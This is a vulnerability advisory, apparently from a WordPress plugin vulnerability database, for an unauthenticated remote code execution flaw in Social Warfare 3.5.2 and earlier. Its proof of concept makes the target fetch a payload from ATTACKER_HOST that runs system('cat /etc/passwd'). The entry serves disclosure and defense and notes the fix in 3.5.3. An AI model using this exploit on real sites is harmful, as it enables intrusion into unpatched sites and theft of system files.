WordPress Plugin Vulnerabilities

Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)

Description

Unauthenticated remote code execution has been discovered in functionality that handles settings import.

Proof of Concept

1. Create payload file and host it on a location accessible by a targeted website. Payload content : "<pre>system('cat /etc/passwd')</pre>"

2. Visit http://WEBSITE/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_HOST/payload.txt

3. Content of /etc/passwd will be returned

Affects Plugins

Fixed in 3.5.3

References

Classification

Type
RCE
OWASP top 10
CWE

Miscellaneous

Original Researcher
Luka Sikic
Submitter
Luka Sikic
Submitter website
Submitter twitter
Verified
No

Timeline

Publicly Published
2019-03-25 (about 5 years ago)
Added
2019-04-24 (about 5 years ago)
Last Updated
2021-06-08 (about 2 years ago)

Other